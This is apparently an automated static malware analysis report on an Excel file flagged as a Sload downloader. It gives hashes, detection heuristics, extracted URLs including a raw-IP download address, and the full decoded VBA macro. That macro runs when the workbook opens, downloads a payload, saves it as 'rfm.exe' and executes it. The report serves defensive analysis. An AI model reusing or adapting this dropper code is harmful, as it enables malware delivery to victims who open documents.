Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ca16e3bbff4db92…

MALICIOUS

Office (OLE)

246.4 KB Created: 2019-05-18 07:27:21 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 634e45545f56a1c94d5a9b02ee382326 SHA-1: 09cc3b27d5f2ffdb8d8fc16d63bef219e0ba892d SHA-256: 0ca16e3bbff4db92f13797cced761ad59b08d0f6d1489dd24124afbd060c9811
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macros contain a Workbook_Open event that triggers the execution of other VBA code. This code uses CreateObject to instantiate objects and ExecuteExcel4Macro to download a file from an embedded URL, which is then saved and likely executed. The presence of the 'OLE_VBA_HTTP_DROP_EXEC' heuristic confirms the download and execution capability.

Heuristics 8

  • ClamAV: Xls.Downloader.Sload-6998431-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Sload-6998431-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write Stack1.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Stack1 = CreateObject(UserForm1.Label1.Caption)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://109.94.209.178/r3� Referenced by macro
    • http://t2.symcb.com0Referenced by macro
    • http://tl.symcd.com0&Referenced by macro
    • http://t1.symcb.com/ThawtePCA.crl0Referenced by macro
    • http://tl.symcb.com/tl.crl0Referenced by macro
    • https://www.thawte.com/cps0/Referenced by macro
    • https://www.thawte.com/repository0WReferenced by macro
    • http://tl.symcb.com/tl.crt0Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 2631 bytes
SHA-256: 8e7a80f43149adb0d1dd380efc9692cf9c2f3e5d8c5be94bdc551f3d93da7931
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
UserForm2.Show



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub frfr3()
ExecuteExcel4Macro "MESSAGE(True, ""dialog"")"

Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")


Set Stack1 = CreateObject(UserForm1.Label1.Caption)
Dim ReplaceAll3
Set II11 = CreateObject(UserForm1.Label2.Caption)
Dim ReplaceAll4


End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{CFFBB507-3B94-4F4B-A9F9-2C5045B1B254}{FAD88DF7-53DC-4595-8A07-C2C7C0722568}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Label5_Click()
Dim ReplaceAll5
Stack1.Open Me.Label3.Caption, Me.TextBox3.Tag, False
Dim ReplaceAll6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Rovio()

Sheet1.frfr3
UserForm1.Label5_Click
Stack1.Send

With II11
    .Type = 1
End With
    II11.Open
With II11
    .write Stack1.responseBody

End With
    II11.savetofile "rfm.e" & "xe", 2
ExecuteExcel4Macro UserForm1.TextBox3.Text



End Sub

Attribute VB_Name = "Module1"
Public Stack1 As Object
 Public II11 As Object

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{D1F7FF9E-3782-47C4-A9BB-507DE37C07B2}{9CF3D2CD-7CA6-42E0-BC61-F693F234F7E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

    Dim c As New Class1
c.Rovio

ExecuteExcel4Macro "MESSAGE(True, ""777777"")"
Unload Me
End Sub

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